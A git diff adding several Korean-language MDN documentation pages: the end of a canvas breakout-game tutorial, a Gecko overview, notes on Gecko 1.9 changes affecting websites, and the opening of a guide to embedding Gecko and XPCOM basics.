+<p>위 코드에서 볼 수 있듯이{{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}}와 {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}메소드가 다시 나왔습니다. 그 사이에, 가장 중요한 부분인 {{domxref("CanvasRenderingContext2D.arc()","arc()")}} 메소드가 있습니다. 이 메소드는 6개의 파라미터를 갖습니다.</p>
+
+<ul>
+ <li><code>원의 중심을 가리키는 x와 y좌표</code></li>
+ <li>원의 반지름</li>
+ <li>시작 각도와 끝 각도(원을 그릴 때 시작과 끝이되는 각도이며, 라디안 값입니다.)</li>
+ <li>그리는 방향(false를 넣으면 시계방향으로 그려집니다. 기본 값이나 true를 넣으면 반 시계방향으로 그려집니다.) 이 파라미터는 옵션입니다.</li>
+</ul>
+
+<p>{{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}}속성은 이전과 조금 달라 보이는데, 이는 CSS에서 색상을 표현하는 여러가지 방법 중 하나입니다. 색상을 표현할 때, 16진수로 색상값을 표현하거나, 색상 키워드를 사용하거나, rgba() 함수를 사용하거나 그외에 다른 색상 메소드를 사용할 수 있습니다.</p>
+
+<p>{{domxref("CanvasRenderingContext2D.fill()","fill()")}}을 사용해서 원에 색상을 채울 수 있다면,{{domxref("CanvasRenderingContext2D.stroke()","stroke()")}}를 이용하면 원의 외곽선에 색상을 부여할 수 있습니다. 아래의 코드들도 여러분의 JavaScript에 추가해보세요.</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(160, 10, 100, 40);
+ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
+ctx.stroke();
+ctx.closePath();</pre>
+
+<p>위 코드는 비어있는 파란색 외곽선으로 된 원을 그립니다. <code>rgba()</code> 함수의 알파 채널 값 때문에 파란색은 반투명하게 표현됩니다.</p>
+
+<h2 id="여러분의_코드와_비교해_보세요">여러분의 코드와 비교해 보세요</h2>
+
+<p> JSFiddle에서 라이브로 실행되는 전체 코드입니다.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}}</p>
+
+<div class="note">
+<p><strong>연습해보기</strong>: 주어진 모양들의 크기와 색상을 변경해보세요.</p>
+</div>
+
+<h2 id="다음_단계로">다음 단계로</h2>
+
+<p>이제 우리는 기본적인 HTML을 설정하고, canvas에 대해 조금 배웠습니다. 두 번째 챕터로 넘어가서 <a href="https://developer.mozilla.org/ko/docs/Games/Tutorials/%EC%88%9C%EC%88%98%ED%95%9C_%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%A5%BC_%EC%9D%B4%EC%9A%A9%ED%95%9C_2D_%EB%B2%BD%EB%8F%8C%EA%B9%A8%EA%B8%B0_%EA%B2%8C%EC%9E%84/%EA%B3%B5_%EC%9B%80%EC%A7%81%EC%9D%B4%EA%B8%B0">게임에서 공을 움직이기</a>위해 어떻게 해야 하는지 계속 알아봅시다.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기")}}</p>
diff --git a/files/ko/gecko/index.html b/files/ko/gecko/index.html
new file mode 100644
index 0000000000..09de4208ab
--- /dev/null
+++ b/files/ko/gecko/index.html
@@ -0,0 +1,73 @@
+---
+title: Gecko
+slug: Gecko
+tags:
+  - Gecko
+translation_of: Mozilla/Gecko
+---
+<div class="summary">
+ <p><span class="seoSummary"><strong>Gecko는 Mozilla 프로젝트에서 개발한 레이아웃 엔진의 이름입니다.</strong> 원래 이름은 NGLayout이었습니다. Gecko의 기능은 <a href="/en-US/docs/HTML" title="HTML">HTML</a>, <a href="/en-US/docs/CSS" title="CSS">CSS</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a> 같은 콘텐츠를 읽어와 해석한 뒤 사용자의 스크린에 그려주는 역할을 합니다. Gecko 어플리케이션은 웹 콘텐츠뿐만 아니라 XUL기반의 어플리케이션들의 UI를 해석하기도 합니다.</span></p>
+</div>
+<p>Gecko는 FireFox, SeaMonkey 등과 같은 몇개의 브라우저를 포함한 다양한 어플리케이션에서 사용합니다. (정확한 리스트는 <a class="external" href="http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29#Web_browsers" rel="external" style="line-height: 1.5;" title="http://en.wikipedia.org/wiki/Gecko_(layout_engine)#Web_browsers">Wikipedia's article on Gecko</a>를 참고하세요) 같은 버전의 Gecko를 사용하는 제품은 표준을 같이 지원합니다.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td style="width: 498px;">
+    <h2 class="Documentation" id="문서" style="line-height: 30px;">문서</h2>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Gecko_FAQ" title="Gecko_FAQ">Gecko FAQ</a></dt>
+     <dd>
+      Gecko에 대해 흔히 물어보는 질문.</dd>
+     <dt>
+      <a href="/en-US/docs/Gecko_DOM_Reference" title="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference">Gecko DOM 명세</a></dt>
+     <dd>
+      DOM 명세.</dd>
+     <dt>
+      <a href="/en-US/docs/Gecko-Specific_DOM_Events" title="Gecko/Gecko event reference">Gecko event 명세</a></dt>
+     <dd>
+      Gecko와 Mozilla 어플리케이션에서 사용하는 이벤트 명세; 웹표준 DOM Event가 궁금하다면,  <a href="/en-US/docs/DOM/DOM_event_reference" style="line-height: 1.5;" title="DOM/DOM event reference">DOM event reference</a>을 참고하세요.</dd>
+     <dt>
+      <a href="/en-US/docs/Gecko/Versions" title="Gecko/Versions">Gecko 버전과 어플리케이션 버전</a></dt>
+     <dd>
+      Gecko 버전과 Gecko를 사용하는 어플리케이션의 버전.</dd>
+     <dt>
+      <a class="external" href="/en-US/docs/Introduction_to_Layout_in_Mozilla" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Layout_in_Mozilla">Mozilla 내의 Layout 소개</a></dt>
+     <dd>
+      layout에 대한 기술 토론.</dd>
+     <dt>
+      <a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">Embedding Mozilla</a></dt>
+     <dd>
+      어플리케이션에 Gecko를 사용하는 법.</dd>
+     <dt>
+      <a href="/en-US/docs/Character_Sets_Supported_by_Gecko" title="Character Sets Supported by Gecko">Gecko에서 지원하는 캐릭터셋</a></dt>
+     <dd>
+      Gecko에서 지원하는 캐릭터셋 목록.</dd>
+     <dt>
+      <a href="/en-US/docs/Gecko/HTML_parser_threading" title="Gecko/HTML_parser_threading">HTML 파서 스레딩</a></dt>
+     <dd>
+      HTML 파서의 멀티 스레딩 설명</dd>
+     <dt>
+      {{interwiki('wikimo', 'Gecko:Home_Page', 'Gecko Home Page on MozillaWiki')}}</dt>
+     <dd>
+      더 많은 최신 자료와 로드맵이 제공되는, 활발한 개발자를 위한 홈.</dd>
+    </dl>
+    <p><span class="alllinks" style="font-size: 13px;"><a href="/en-US/docs/tag/Gecko" title="tag/Gecko">전체 보기...</a></span></p>
+   </td>
+   <td style="width: 498px;">
+    <h2 class="Community" id="커뮤니티" style="line-height: 30px;">커뮤니티</h2>
+    <ul>
+     <li>View Mozilla forums... {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}</li>
+    </ul>
+    <h2 class="Related_Topics" id="관련_주제" style="line-height: 30px;">관련 주제</h2>
+    <div>
+      </div>
+    <dl>
+     <dd>
+      <a href="/en-US/docs/Web_Standards" title="Web_Standards">웹 표준</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">Embedding Mozilla</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/gecko_1.9_changes_affecting_websites/index.html b/files/ko/gecko_1.9_changes_affecting_websites/index.html
new file mode 100644
index 0000000000..53dba457fa
--- /dev/null
+++ b/files/ko/gecko_1.9_changes_affecting_websites/index.html
@@ -0,0 +1,73 @@
+---
+title: Gecko 1.9 Changes affecting websites
+slug: Gecko_1.9_Changes_affecting_websites
+tags:
+  - Gecko
+  - Web Development
+translation_of: Mozilla/Firefox/Releases/3/Site_compatibility
+---
+<p>이 글은 웹사이트의 동작이나 표현(rendering)에 영향을 미칠 수 있는, <a href="ko/Gecko">Gecko</a> 1.8과 Gecko 1.9 사이의 바뀌 점들을 소개합니다.</p>
+
+<p><a href="ko/Firefox_3_for_developers">Firefox 3 for developers</a>도 보세요.</p>
+
+<h2 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8">이벤트</h2>
+
+<h3 id=".ED.8F.AC.EC.B0.A9.ED.95.98.EB.8A.94_load_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.B2.AD.EC.B7.A8.EC.9E.90" name=".ED.8F.AC.EC.B0.A9.ED.95.98.EB.8A.94_load_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EC.B2.AD.EC.B7.A8.EC.9E.90">포착하는 load 이벤트 청취자</h3>
+
+<p>Gecko 1.8에서는 포착하는(capturing) load 이벤트 청취자를 그림에 설정하는 게 불가능했습니다. Gecko 1.9에서는 이 문제를 {{ Bug(234455) }}로 고쳤습니다. 하지만 이벤트 청취자가 load 이벤트를 포착하게 설정하도록 어긋나게 만든 웹사이트에서 문제를 일으킬 수 있습니다. {{ Bug(335251) }}에서 토론한 내용을 보세요. 이 문제를 고치려면 당해 문제가 있는 페이지가 포착하는 load 이벤트 청취자를 설정하지 않게 해야 합니다.</p>
+
+<p>예를 들어 이것을:</p>
+
+<pre class="eval">window.addEventListener('load', yourFunction, true);
+</pre>
+
+<p>이렇게 바꿔야 합니다:</p>
+
+<pre class="eval">window.addEventListener('load', yourFunction, false);
+</pre>
+
+<p>이벤트 포착의 작동 원리를 알려면 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM Level 2 Event capture</a>를 보세요.</p>
+
+<h3 id="preventBubble_.EC.97.86.EC.95.B0" name="preventBubble_.EC.97.86.EC.95.B0"><code>preventBubble</code> 없앰</h3>
+
+<p>Gecko 1.8에는 이벤트가 위로 넘치지 못하게 하는 <code>preventBubble</code> 메소드가 이벤트에 있었습니다. Gecko 1.9에는 이 메소드가 없습니다. 그 대신에 표준인 <a href="ko/DOM/event.stopPropagation">stopPropagation()</a>을 써야 합니다. 이 메소드는 Gecko 1.8에서도 제대로 작동합니다. {{ Bug(330494) }}의 패치가 적용됐습니다. {{ Bug(105280) }}도 보세요.</p>
+
+<h3 id=".EB.8B.A4.EB.A5.B8_.EB.AA.87_.EA.B0.80.EC.A7.80_.EC.98.A4.EB.9E.98.EB.90.9C_.EC.9D.B4.EB.B2.A4.ED.8A.B8_API.EB.A5.BC_.EB.8D.94_.EC.9D.B4.EC.83.81_.EC.A7.80.EC.9B.90_.EC.95.88_.ED.95.A8" name=".EB.8B.A4.EB.A5.B8_.EB.AA.87_.EA.B0.80.EC.A7.80_.EC.98.A4.EB.9E.98.EB.90.9C_.EC.9D.B4.EB.B2.A4.ED.8A.B8_API.EB.A5.BC_.EB.8D.94_.EC.9D.B4.EC.83.81_.EC.A7.80.EC.9B.90_.EC.95.88_.ED.95.A8">다른 몇 가지 오래된 이벤트 API를 더 이상 지원 안 함</h3>
+
+<p><a href="ko/DOM/window.captureEvents">window.captureEvents</a>, <a href="ko/DOM/window.releaseEvents">window.releaseEvents</a>, 그리고 <code>window.routeEvent</code>는 Gecko 1.9에서 더 이상 지원하지 않습니다({{ Obsolete_inline() }}).</p>
+
+<h2 id="DOM" name="DOM">DOM</h2>
+
+<h3 id="WRONG_DOCUMENT_ERR" name="WRONG_DOCUMENT_ERR"><code>WRONG_DOCUMENT_ERR</code></h3>
+
+<p></p><p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p><p></p>
+
+<h2 id=".EB.B2.94.EC.9C.84" name=".EB.B2.94.EC.9C.84">범위</h2>
+
+<h3 id="intersectsNode_.EC.97.86.EC.95.B0" name="intersectsNode_.EC.97.86.EC.95.B0"><code>intersectsNode</code> 없앰</h3>
+
+<p>Gecko 1.8에서는 어떤 노드가 범위(range)에 엇갈리는 건지를 판단하는 데 <code>intersectsNode</code> 함수를 쓸 수 있었습니다. 그러나 이 함수의 반환값은 헷갈리고 좀처럼 쓸모가 없으므로 Gecko 1.9에서 없앴습니다. 그 대신에 좀 더 정확하고 표준 함수인 <a href="ko/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a>를 쓰세요. {{ Bug(358073) }}의 패치로 없앴습니다.</p>
+
+<p><code>compareBoundaryPoints</code>를 대신 쓰는 법을 보려면 <a href="ko/DOM/range.intersectsNode">intersectsNode</a>를 설명하는 문서를 보세요.</p>
+
+<h3 id="compareNode_.EC.97.86.EC.95.B0" name="compareNode_.EC.97.86.EC.95.B0"><code>compareNode</code> 없앰</h3>
+
+<p>Gecko 1.8에서는 어떤 노드가 범위(range)에 엇갈리는 건지를 판단하는 데 <code>compareNode</code> 함수를 쓸 수 있었습니다. 그러나 이 함수의 반환값은 헷갈리고 좀처럼 쓸모가 없으므로 Gecko 1.9에서 없앴습니다. 그 대신에 좀 더 정확하고 표준 함수인 <a href="ko/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a>를 쓰세요. {{ Bug(358073) }}의 패치로 없앴습니다.</p>
+
+<p><code>compareBoundaryPoints</code>를 대신 쓰는 법을 보려면 <a href="ko/DOM/range.compareNode">compareNode</a>를 설명하는 문서를 보세요.</p>
+
+<h2 id="HTML" name="HTML">HTML</h2>
+
+<h3 id=".3Cobject.3E.EC.9D.98_.EB.A7.8E.EC.9D.80_.EB.B2.84.EA.B7.B8_.EA.B3.A0.EC.B9.A8" name=".3Cobject.3E.EC.9D.98_.EB.A7.8E.EC.9D.80_.EB.B2.84.EA.B7.B8_.EA.B3.A0.EC.B9.A8"><code>&lt;object&gt;</code>의 많은 버그 고침</h3>
+
+<p><code>object</code>와 <code>embed</code> 요소를 표현하는 데 <code>type</code> 속성이 더 이상 필요하지 않습니다. JavaScript로 (<code>&lt;embed&gt;</code>의) <code>src</code> 속성이나 (<code>&lt;object&gt;</code>의) <code>data</code> 속성을 바꾸는 것도 이제 제대로 작동합니다. HTML 명세에 따라서 <code>&lt;object&gt;</code> 요소의 <code>type</code> 속성보다 서버가 보낸 Content-Type 헤더가 우선합니다(<code>embed</code>의 경우는 아님).</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron", "pt": "pt/Mudan\u00e7as_no_Gecko_1.9_que_afetam_websites" } ) }}</p>
diff --git a/files/ko/gecko_embedding_basics/index.html b/files/ko/gecko_embedding_basics/index.html
new file mode 100644
index 0000000000..1626e6db79
--- /dev/null
+++ b/files/ko/gecko_embedding_basics/index.html
@@ -0,0 +1,401 @@
+---
+title: Gecko Embedding Basics
+slug: Gecko_Embedding_Basics
+tags:
+  - Embedding Mozilla
+translation_of: Mozilla/Gecko/Gecko_Embedding_Basics
+---
+<p>정보의 원천, 놀이, 개인간 교류 수단으로써 웹의 중요성이 끝없이 증가하면서, HTML 포맷으로 저장된 데이터에 접근하고 보는 능력은 다양한 소프트웨어 애플리케이션을 폭넓게 대체하기 위해 점점 더 중요해지고 있다. 단순한 HTML 페이지 뷰어건 완벽한 기능의 웹 브라우저이건, HTML 기반 문서를 해석하고 그려내는 것은 수많은 상황에서 매우 중요한 기능이 됐다. 애플리케이션 개발자는 개발 시간을 최소화하면서도 애자일하고 안정성이 높은 제품을 만들기 위해, HTML을 출력하는 결정적인 기능을 어떻게 구현할지에 고민하게 되었다. Gecko, 즉 넷스케이프와 모질라 브라우저의 핵심에 있는 렌더링 엔진을 임베딩하는 것은 이런 문제에 대한 훌륭한 해결책이다.</p>
+
+<h2 id=".EC.99.9C_Gecko.EC.9D.B8.EA.B0.80.3F" name=".EC.99.9C_Gecko.EC.9D.B8.EA.B0.80.3F">왜 Gecko인가?</h2>
+
+<p>Gecko를 임베딩하는 것은 현명한 선택이다. Gecko는 빠르고, 안정적이며 표준을 매우 잘 지키고 있다. Mozilla와 Netscape의 지원 아래서 매우 널리 배포되었으며 많은 사람들이 꾸준히 지켜보고 있다.</p>
+
+<p>Gecko는 오픈 소스이다. 다른 임베딩 브라우저 솔루션과는 달리, Gecko의 모든 소스 코드는 자유롭게 사용할 수 있으며 마음껏 수정할 수 있다. 필요한 만큼 뜯어 고칠 수 있다. 또한 현재의 라이센스에 따르면, Gecko를 독점적인 상용 제품에 컴포넌트로 사용할 수도 있다.</p>
+
+<p>Gecko는 Mozilla 프로젝트와 연관되어 있으므로, Mozilla 프로젝트에서 임베딩 작업에 도움이 되는 많은 리소스를 쉽게 얻을 수 있다. Mozilla <a class="external" href="http://www.mozilla.org">웹 사이트</a>에는 <a class="external" href="http://mozilla.org/projects/embedding/">임베딩 프로젝트 영역</a>이 있다. 또한 mozilla.dev.emobedding 뉴스그룹이 있으며, 많은 관련 뉴스그룹과 함께 임베딩 개발자들 간에 정보를 교환하는 것을 주 목적으로 하고 있다. 전체 <a class="external" href="http://lxr.mozilla.org/seamonkey">코드기반 상호 참조</a>가 가능하며, <a class="external" href="http://bugzilla.mozilla.org/">Bugzilla 버그 데이터베이스</a>를 통해 버그 제출, 버그 진행 상황 참조, 버그 수정 참여 등을 간단히 할 수 있다.</p>
+
+<p>Gecko는 바닥부터 크로스플랫폼으로 설계되었다. mozill.org에서는 직접 Wintel, MacOS 9.0과 OS X, 리눅스를 지원하고 있으며, 수많은 다른 플랫폼도 써드파티에서 지원하고 있다.</p>
+
+<p>마지막으로, Gecko를 라이센스하는 것은 로열티가 필요 없으며, 심지어 독점 저작권을 갖는 상용 제품에도 로열티없이 적용할 수 있다. "매우" 일반적으로는, 모질라가 제공하는 원본 소스코드에 대해서는 어떤 수정도 커뮤니티에 반환되어야 한다.(Gecko를 임베드하는 코드까지 반환해야하는 것은 아니다.) 즉 애플리케이션의 사용자라면 사용중인 Gecko 엔진에 해당하는 소스 코드를 언제든지 얻을 수 있어야 하며(대부분 mozilla.org 웹사이트 링크를 통해서), 애플리케이션은 명확한 방법으로 Gecko를 사용하고 있음을 공지해야 한다. (예를 들면, 제품 박스 위의 로고나 About: 페이지 등) 가능한 라이센스 방법에 대한 정확한 설명은 라이센스에 대해 유일한 법적 근거인 <a class="external" href="http://www.mozill.org/MPL/">Mozilla &amp; Nescape Public Licneses</a>에서 볼 수 있다.</p>
+
+<h2 id=".EC.9E.84.EB.B2.A0.EB.94.A9.EC.97.90_.ED.95.84.EC.9A.94.ED.95.9C_.EA.B2.83" name=".EC.9E.84.EB.B2.A0.EB.94.A9.EC.97.90_.ED.95.84.EC.9A.94.ED.95.9C_.EA.B2.83">임베딩에 필요한 것</h2>
+
+<p>Gecko를 임베드하기로 결정했다면, 세가지 과정을 밟아야 한다. 첫째로 코드를 얻는다. 다음으로 Gecko 코드베이스를 다루는데 사용되는 몇가지 지정 기술을 이해해야 한다. 마지막으로 추가하려는 부가적인 기능을 결정해야 한다. 이 절은 이러한 과정을 안내할 것이다.</p>
+
+<h3 id=".EC.BD.94.EB.93.9C_.EC.96.BB.EA.B8.B0" name=".EC.BD.94.EB.93.9C_.EC.96.BB.EA.B8.B0">코드 얻기</h3>
+
+<p>이 글을 쓰는 시점에서 Gecko를 임베드하기 위한 파일을 얻는 가장 좋은 방법은 전체 Mozill 소스 트리를 다운로드해서 빌드하는 것이다. 사실 상당히 간단한 과정이다. 전체 설명과 적절한 링크는 <a href="ko/Download_Mozilla_Source_Code">Download Mozilla Source Code</a>에서 찾을 수 있다. 두번째 방법(컴포넌트에 의한 컴포넌트)은 현재 개발 중이며, 아직 베타 상태에 있다. 이 프로젝트에 대한 정보는 <a class="external" href="http://www.mozilla.org/projects/embedding/bootstrap.html">REQUIRES 기반 빌드 메카니즘</a>에서 찾을 수 있다. 그 외에, Gecko 런타임 환경(<a href="ko/GRE">GRE</a>, Gecko Runtime Environment)가 개발중에 있다. <a href="ko/GRE">GRE</a>는 단일 코어 라이브러리를 사용하는 모질라 컴포넌트 위에서 여러가지 애플리케이션을 지원하기 위한 것이다. (컴포넌트에 의한 컴포넌트를 사용하려고 생각한다면, 우선 버전과 바이너리 호환성에 대한 이슈를 잘 살펴봐야 한다. <a class="external" href="http://mozilla.org/projects/xpcom/glue/Component_Reuse.html">XPCOM 컴포넌트 재사용</a>을 살펴보면 도움이 될 것이다.)</p>
+
+<p>우선 몇가지 도구(기본으로 컴파일러, 펄 배포판, 몇몇 범용 유틸리티)를 가져와야 한다. 그런 다음 컴퓨터 환경을 설정하고, 소스를 다운로드 한다. 전체 트리를 다운로드하려 한다면, 두가지 방법이 있다. FTP에서 전체 소스 트리를 tar로 압축한 파일을 가져올 수 있다. (이것이 가장 간단한 방법이며, 확실히 컴파일이 가능한 한 방법이다. 다만 최근에 수정된 코드는 포함하지 않았을 수도 있다.) 다른 방법은 CVS에서 가장 최신의 코드를 가져오거나 변경분에 대한 업데이트를 수행하는 것이다. 소스를 가져와서 환경 설정을 적절히 끝마친 다음에는 제공된 makfile 중 적절한 것을 실행하면 된다. 각 플랫폼마다 컴파일 과정에 대한 상세한 설명이 있다.</p>
+
+<p>빌드가 끝나면 mozilla/embedding/config 디렉토리로 간다. 거기서 예제 manifest 파일을 찾을 수 있을 것이다. (파일들은 모두 이름이 "basebrowser"로 시작한다. manifest 파일은 각 플래폼마다 임베딩을 위한 개별 설정이다. 기본으로 들어있는 것은 단지 예제일 뿐이며, 당신의 목적에는 딱 들어맞지 않을 수도 있다. 하지만 예제로 시작해서 조금씩 수정해 나가면 좋을 것이다. 각 플랫폼마다 모델로 삼을 만한 예제 임베딩 프로젝트들도 있다. <a href="ko/Roll_your_own_browser_-_An_embedding_HowTo">Roll_your_own_browser_-_An_embedding_HowTo</a>를 참고하라.</p>
+
+<h3 id=".EC.BD.94.EB.93.9C_.EC.9E.91.EC.84.B1_.ED.99.98.EA.B2.BD_.EC.9D.B4.ED.95.B4.ED.95.98.EA.B8.B0" name=".EC.BD.94.EB.93.9C_.EC.9E.91.EC.84.B1_.ED.99.98.EA.B2.BD_.EC.9D.B4.ED.95.B4.ED.95.98.EA.B8.B0">코드 작성 환경 이해하기</h3>
+
+<p>모질라는 처음부터 여러 플랫폼과 프로그래밍 언어에 대한 설계와 개발을 지원하는 것으로 시작됐다. 결국 여러가지 자체 프로그래밍 기술이 개발되었으며, 모두 다 객체 은폐라는 이상적인 개념을 바탕으로 두고 있다. Gecko 임베딩에는 XPCOM, XPIDL, XPConnect, 특별 문자열 클래스, XUL 등의 기술에 대한 실제적인 지식을 필요로 한다. 다음은 각 기술에 대한 간략한 소개이다. 더 자세한 정보는 mozilla.org 사이트에서 찾을 수 있다.</p>
+
+<h4 id="XPCOM" name="XPCOM">XPCOM</h4>
+
+<p>모질라 기술 중 가장 중요한 것은 <a href="ko/XPCOM">XPCOM</a>, 즉 크로스플랫폼 컴포넌트 오브젝트 모델(Cross-Platform Component Object Model)이다. XPCOM은 객체나 다른 데이터의 생성, 소유, 제거를 모질라 전체에 걸쳐 관리하는 프레임워크를 제공한다. MSCOM을 사용한 적이 있다면, 기본적으로 유사한 개념임을 느낄 것이다. 하지만 매우 큰 차이가 있다. XPCOM은 크로스플랫폼이며 단일 스레드에서 대부분 동작하도록 설계되어 있다. 또한 XPCOM와 MSCOM은 현재로써는 아직 호환되지 않는다.</p>
+
+<h5 id=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">인터페이스</h5>
+
+<p>XPCOM의 핵심은 인터페이스라는 개념이다. 인터페이스는 특정 기증과 연관된 메소드, 속성, 관련 상수의 집합을 기술한 것일 뿐이다. 실제 기능을 구현하는 클래스와는 전혀 별개이다. 인터페이스는 계약의 역할을 한다. 특정 인터페이스를 지원하는 객체는 인터페이스에 기술된 서비스를 수행한다는 약속의 의미이다. 인터페이스를 최대한 중립적으로 유지할 수 있도록 IDL(Interface Definition Language)라는 별도의 언어를 사용해서 기술한다. 인터페이스 파일은 일반적으로 .idl이라는 확장자를 갖는다. 인터페이스의 기능을 지정할 뿐만 아니라 인터페이스의 IID도 지정한다. IID는 인터페이스를 지정할 때 사용하는 세계에서 유일한 번호이다.</p>
+
+<p>Gecko 내에서 이루어지는 통신의 대부분은 추상 구조체를 거친다. (규약에 따라 추상 구조체의 이름은 <code>nsISomething</code>의 형식을 따른다.)</p>
+
+<pre>//이거야
+void ProcessSample(nsISample* aSample) {
+	aSample-&gt;Poke("Hello");
+//이건 아니야
+void ProcessSample(nsSampleImpl* aSample) {
+	aSample-&gt;Poke("hello");
+</pre>
+
+<h5 id=".40status_FROZEN" name=".40status_FROZEN">@status FROZEN</h5>
+
+<p>XPCOM의 추상화 수준으로 인해 시스템이 매우 큰 유연성을 갖추게 됐다. 구현은 필요에 따라 얼마든지 변경할 수 있다. 하지만 최소한 인터페이스 자체는 고정된 채로 유지해야 한다. 모질라의 초기 설계와 개발 기간 동안에는 인터페이스는 다소 유동적인 것이었지만, 프로젝트가 성숙되면서 점점 더 많은 인터페이스가 FROZEN으로 표시됐다. FROZEN으로 표시된 인터페이스는 향후 변경되지 않음을 보장한다는 의미이다.</p>
+
+<p>임베딩 관련된 대부분의 주요 인터페이스가 FROZEN으로 표시되긴 했지만, 인터페이스를 사용하기 전에 확인해보는 것이 좋다. 인터페이스의 상태는 .idl 파일의 주석에 나열된다. 얼려진 인터페이스(frozen interface)는 <code>@status FROZEN</code>라는 표시가 달린다. 모질라 상호 참조 도구를 사용해서 <a class="external" href="http://lxr.mozilla.org/seamonkey/search?string=%40status+FROZEN">얼려진 인터페이스를 검색</a>할 수도 있다. 얼려지지 않은 상태의 인터페이스는 언제든지 변경될 가능성이 있다. 얼리는 과정에 대한 자세한 정보는 <a class="external" href="http://mozilla.org/embedding/">임베딩 프로젝트 페이지</a>를 참고하라.</p>
+
+<p>인터페이스가 얼려지고 나면 해당 인터페이스는 <a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi.html">Gecko 임베딩 API 참조</a>에 추가된다.</p>
+
+<h5 id="nsISupports" name="nsISupports">nsISupports</h5>
+
+<p>한 객체가 하나 이상의 인터페이스를 지원할 수 있다. 실제로는 모든 객체는 최소한 두 개의 인터페이스를 지원해야 한다. 하나는 실제 객체의 역할이 되는 무언가이고, 다른 하나는 범용적인 목적으로 사용되는 <code>nsISupports</code>이다. 다르게 말하자면 <code>nsISupports</code>는 모든 XPCOM 인터페이스의 조상이다. 모든 인터페이스는 <code>nsISupports</code>로부터 상속되며, 대부분은 직접 상속받는다. <code>nsISupports</code>는 두가지 주요 기능을 갖는다. 런타임 타입 발견과 객체 생명주기 관리이다. MSCOM의 IUnknown과 동일한 역할을 한다.</p>
+
+<p>모든 객체가 다중 인터페이스를 지원하기 때문에, 한 인터페이스에 대한 포인터를 가진 상태에서 해당 객체가 당장 필요한 기능을 제공하는 다른 인터페이스를 지원하는지 알아낼 수 있다. 첫번째 <code>nsISupports</code> 메소드인 <code>QueryInterface()</code>는 다음과 같은 질문을 수행한다. "나는 이 객체가 A 타입임(인터페이스 A를 지원함)을 알고 있다. 그런데 타입 B이기도 한가?(인터페이스 B도 지원하는가?)"</p>
+
+<p>만일 그렇다면 <code>QueryInterface()</code>는 새로 요청된 인터페이스로 연결된 포인터를 반환한다.</p>
+
+<pre>void ProcessSample(nsISample* aSample) {
+	nsIExample *example;
+	nsresult rv;
+	rv = aSample-&gt;QueryInterface(NS_GET_IID(nsIExample),(void **)&amp;example);
+	if (NS_SUCCEEDED(rv)) {
+		example-&gt;DoSomeOperation();
+		NS_RELEASE(example); // Release호출을 위해 매크로를 사용
+	}
+}
+</pre>
+
